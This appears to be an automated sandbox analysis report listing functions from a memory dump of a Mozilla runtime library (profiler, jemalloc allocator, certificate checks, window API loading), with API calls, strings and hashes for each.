Opcode ID: 37635d3a21168a8cc42f774db97833e38e98e447bc10c1310684cf0df9d00b43
Instruction ID: c47e7da2af9fa0aed38a1afc89fe50503a740fa6dbe82e158c441dede56ebf89
Opcode Fuzzy Hash: 37635d3a21168a8cc42f774db97833e38e98e447bc10c1310684cf0df9d00b43
Instruction Fuzzy Hash: 362218709043409BEB00EF6A8C44F6AB7F0BFC6359F058629F86687B61E7359846CB57

Function 6C52B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C52B845
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000), ref: 6C52B852
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52B884
InitializeConditionVariable.KERNEL32(?), ref: 6C52B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C52B9FD
GetCurrentThreadId.KERNEL32 ref: 6C52BA05
AcquireSRWLockExclusive.KERNEL32(6C56F4B8,?,?,00000000), ref: 6C52BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C52BA27
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52BA4B
free.MOZGLUE(?), ref: 6C52C9C7
free.MOZGLUE(?), ref: 6C52C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C52C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C52C878

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e6274cb1f7ac922794ccc6f97d93cd7fb4049105168c5aa8336a10e68d2e5d52
Instruction ID: 0d1514ac5b1ebe1bfbbb27cf695a35a2b4040a87ede3d824f5f58079b8e56f72
Opcode Fuzzy Hash: e6274cb1f7ac922794ccc6f97d93cd7fb4049105168c5aa8336a10e68d2e5d52
Instruction Fuzzy Hash: 6CA2C071A083808FD725DF28C88079FB7E5BFC9314F454A2DE89997791DB34A949CB82

Function 6C4F6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4F6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4F6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C4F6D26

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C4F6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C4F6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C4F6D73
free.MOZGLUE(00000000), ref: 6C4F6D80
CertGetNameStringW.CRYPT32 ref: 6C4F6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C4F6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4F6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C4F6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C4F6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C4F6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C4F6E34
CreateFileW.KERNEL32 ref: 6C4F6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C4F6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C4F6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C4F709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C4F7103
free.MOZGLUE(00000000), ref: 6C4F7153
CloseHandle.KERNEL32(?), ref: 6C4F7176
__Init_thread_footer.LIBCMT ref: 6C4F7209
__Init_thread_footer.LIBCMT ref: 6C4F723A
__Init_thread_footer.LIBCMT ref: 6C4F726B
__Init_thread_footer.LIBCMT ref: 6C4F729C
__Init_thread_footer.LIBCMT ref: 6C4F72DC
__Init_thread_footer.LIBCMT ref: 6C4F730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C4F73C2
VerSetConditionMask.NTDLL ref: 6C4F73F3
VerSetConditionMask.NTDLL ref: 6C4F73FF
VerSetConditionMask.NTDLL ref: 6C4F7406
VerSetConditionMask.NTDLL ref: 6C4F740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C4F741A
moz_xmalloc.MOZGLUE(?), ref: 6C4F755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4F7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C4F7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C4F7598
free.MOZGLUE(00000000), ref: 6C4F75AC

Part of subcall function 6C51AB89: EnterCriticalSection.KERNEL32(6C56E370,?,?,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284), ref: 6C51AB94
Part of subcall function 6C51AB89: LeaveCriticalSection.KERNEL32(6C56E370,?,6C4E34DE,6C56F6CC,?,?,?,?,?,?,?,6C4E3284,?,?,6C5056F6), ref: 6C51ABD1

Strings

wintrust.dll, xrefs: 6C4F72CD
SHA256, xrefs: 6C4F6EC0
(, xrefs: 6C4F768A
CryptCATAdminReleaseCatalogContext, xrefs: 6C4F72C8

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: db91d41131f317104f4b7ca54b3a80e6355ce6fa554e6e067ccc0a4bddee0329
Instruction ID: bd7784350af1cd4c2a2baf289f1cd5ff095dfe3061c49d72e0651893bbe70641
Opcode Fuzzy Hash: db91d41131f317104f4b7ca54b3a80e6355ce6fa554e6e067ccc0a4bddee0329
Instruction Fuzzy Hash: 5B52C471E042149BEB21DF29CC84FAA77B8EF85718F114199E81897740DB74AF86CF91

Function 6C516FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E7DC), ref: 6C517019
LeaveCriticalSection.KERNEL32(6C56E7DC), ref: 6C517061
EnterCriticalSection.KERNEL32(?), ref: 6C5171A4
LeaveCriticalSection.KERNEL32(?), ref: 6C51721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C51723E
EnterCriticalSection.KERNEL32(?), ref: 6C51726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C5172B2
LeaveCriticalSection.KERNEL32(?), ref: 6C51733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C5173E8
LeaveCriticalSection.KERNEL32(?), ref: 6C51961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C519622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C519642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C51964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5196CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5196DB
AcquireSRWLockExclusive.KERNEL32(6C56E804), ref: 6C519747
GetSystemInfo.KERNEL32(?), ref: 6C519792
__Init_thread_footer.LIBCMT ref: 6C5197A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C56E810,00000040), ref: 6C5197CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7B8,00001388), ref: 6C519838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E744,00001388), ref: 6C51984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E784,00001388), ref: 6C519874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C56E7DC,00001388), ref: 6C519895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C519BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5199BD
MALLOC_OPTIONS, xrefs: 6C5197CA
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C519993
MOZ_CRASH(), xrefs: 6C519B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5199D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5199A8
<jemalloc>, xrefs: 6C519B33, 6C519BE3
Compile-time page size does not divide the runtime one., xrefs: 6C519B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C519933, 6C519A33, 6C519A4E

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 8fd55470c48c39886d768e508c15d25e36d4c2d56f805f662b247e3934deb466
Instruction ID: 446a6d1d8aabb17958a39047b9beb117e988aa7043fd70aa1c9a9df6afb48714
Opcode Fuzzy Hash: 8fd55470c48c39886d768e508c15d25e36d4c2d56f805f662b247e3934deb466
Instruction Fuzzy Hash: E6535F71A097018FE714CF2DC984615FBE1BF85328F2AC66DE8698BB91D771E841CB81

Function 6C520DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C520F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C520F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C520FB7
EnterCriticalSection.KERNEL32(?), ref: 6C520FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C521031
LeaveCriticalSection.KERNEL32(?), ref: 6C5210D0
EnterCriticalSection.KERNEL32(?), ref: 6C52117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C521C39
EnterCriticalSection.KERNEL32(6C56E744), ref: 6C523391
LeaveCriticalSection.KERNEL32(6C56E744), ref: 6C5233CD
LeaveCriticalSection.KERNEL32(?), ref: 6C523431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C523437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C523A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5237BD
MALLOC_OPTIONS, xrefs: 6C5235FE
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C523793
MOZ_CRASH(), xrefs: 6C523950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5237D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5237A8
<jemalloc>, xrefs: 6C523941, 6C5239F1
Compile-time page size does not divide the runtime one., xrefs: 6C523946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C523559, 6C52382D, 6C523848

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 17f66f55a8d76c92e7f105ef88140e7ff73eeb405cb564ee0de2a9fd56c9a8c7
Instruction ID: f752e8c86518b1b4a874c5a11f914ecfd5cd0f91868a4c1b36e2efdcfe0ccde2
Opcode Fuzzy Hash: 17f66f55a8d76c92e7f105ef88140e7ff73eeb405cb564ee0de2a9fd56c9a8c7
Instruction Fuzzy Hash: 3F538D71A157018FD304CF29C940616FBE1BF89328F29C66DE8699B7E1D77AE841CB81

Function 6C5455F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C51E1A5), ref: 6C545606
LoadLibraryW.KERNEL32(gdi32,?,6C51E1A5), ref: 6C54560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C545633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C54563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C54566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C54567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C545696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C5456B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C5456CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C5456E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C5456FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C545716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C54572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C545748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C545761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C54577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C545793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C5457A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C5457BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C5457D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C5457EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C5457FF

Strings

LoadIconW, xrefs: 6C54575B
MonitorFromWindow, xrefs: 6C54578D
FillRect, xrefs: 6C545729
GetSystemMetricsForDpi, xrefs: 6C545677
ReleaseDC, xrefs: 6C545742
gdi32, xrefs: 6C54560A
StretchDIBits, xrefs: 6C5457CC
SetWindowPos, xrefs: 6C5456F7
RegisterClassW, xrefs: 6C5456AC
ShowWindow, xrefs: 6C5456DE
LoadCursorW, xrefs: 6C545774
DeleteObject, xrefs: 6C5457F9
GetThreadDpiAwarenessContext, xrefs: 6C54562D
user32, xrefs: 6C545601
CreateSolidBrush, xrefs: 6C5457E4
GetWindowDC, xrefs: 6C545710
EnableNonClientDpiScaling, xrefs: 6C545666
GetMonitorInfoW, xrefs: 6C5457A2
CreateWindowExW, xrefs: 6C5456C5
GetDpiForWindow, xrefs: 6C545690
AreDpiAwarenessContextsEqual, xrefs: 6C545637
SetWindowLongPtrW, xrefs: 6C5457B7

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 9b5f34100ad2a163f56d6bd59518972bf13c2e7c4cfe53bd88cc45542dc6d3e3
Instruction ID: 6e6bf6149c204593e4d5070d6706a98af2bdeeb5b9874a55db2191e3d51d2cb8
Opcode Fuzzy Hash: 9b5f34100ad2a163f56d6bd59518972bf13c2e7c4cfe53bd88cc45542dc6d3e3
Instruction Fuzzy Hash: F3513674B117125BDB01AF3F8D54A363AF8AB163457628526F911E2A72EF74CC40CF68

Function 6C5434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C543EE2

Part of subcall function 6C546180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C5461DD
Part of subcall function 6C546180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C54622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C5440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C544157

Part of subcall function 6C546180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C546250
Part of subcall function 6C546180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C546292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C544448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C54484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C544863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C544878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C544896
free.MOZGLUE ref: 6C54489F

Strings

, xrefs: 6C544CD2

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: dbf1c7dc1471b9919c2b7e18a393dfe18f146ebe13c570ef1bf8d0789689b7d9
Instruction ID: 2e597089ff214bd5b7796045de0c0674bbbd6a09d285193b0527c0dc26fb0de5
Opcode Fuzzy Hash: dbf1c7dc1471b9919c2b7e18a393dfe18f146ebe13c570ef1bf8d0789689b7d9
Instruction Fuzzy Hash: F4F24A74908B80CFC721CF29C48469AFBF1BFC9358F518A5ED98997712DB319896CB42

Function 6C52F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C52F09B

Part of subcall function 6C505B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5056EE,?,00000001), ref: 6C505B85
Part of subcall function 6C505B50: EnterCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505B90
Part of subcall function 6C505B50: LeaveCriticalSection.KERNEL32(6C56F688,?,?,?,6C5056EE,?,00000001), ref: 6C505BD8
Part of subcall function 6C505B50: GetTickCount64.KERNEL32 ref: 6C505BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C52F0AC

Part of subcall function 6C505C50: GetTickCount64.KERNEL32 ref: 6C505D40
Part of subcall function 6C505C50: EnterCriticalSection.KERNEL32(6C56F688), ref: 6C505D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C52F0BE

Part of subcall function 6C505C50: __aulldiv.LIBCMT ref: 6C505DB4
Part of subcall function 6C505C50: LeaveCriticalSection.KERNEL32(6C56F688), ref: 6C505DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C52F155
GetCurrentThreadId.KERNEL32 ref: 6C52F1E0
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F1ED
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F212
GetCurrentThreadId.KERNEL32 ref: 6C52F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F248
GetCurrentThreadId.KERNEL32 ref: 6C52F2AE
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F2BB
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F2F8

Part of subcall function 6C51CBE8: GetCurrentProcess.KERNEL32(?,6C4E31A7), ref: 6C51CBF1
Part of subcall function 6C51CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4E31A7), ref: 6C51CBFA

Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4F4A68), ref: 6C52945E
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C529470
Part of subcall function 6C529420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C529482
Part of subcall function 6C529420: __Init_thread_footer.LIBCMT ref: 6C52949F

GetCurrentThreadId.KERNEL32 ref: 6C52F350
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F35D
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F381
GetCurrentThreadId.KERNEL32 ref: 6C52F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F3A0
GetCurrentThreadId.KERNEL32 ref: 6C52F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F491

Part of subcall function 6C5294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5294EE
Part of subcall function 6C5294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C529508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F3CF

Part of subcall function 6C52F070: GetCurrentThreadId.KERNEL32 ref: 6C52F440
Part of subcall function 6C52F070: AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F44D
Part of subcall function 6C52F070: ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C52F4A8
GetCurrentThreadId.KERNEL32 ref: 6C52F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C52F561
GetCurrentThreadId.KERNEL32 ref: 6C52F577
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F585
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C52F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C52F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C52F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C52F499
[I %d/%d] profiler_resume, xrefs: 6C52F239

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
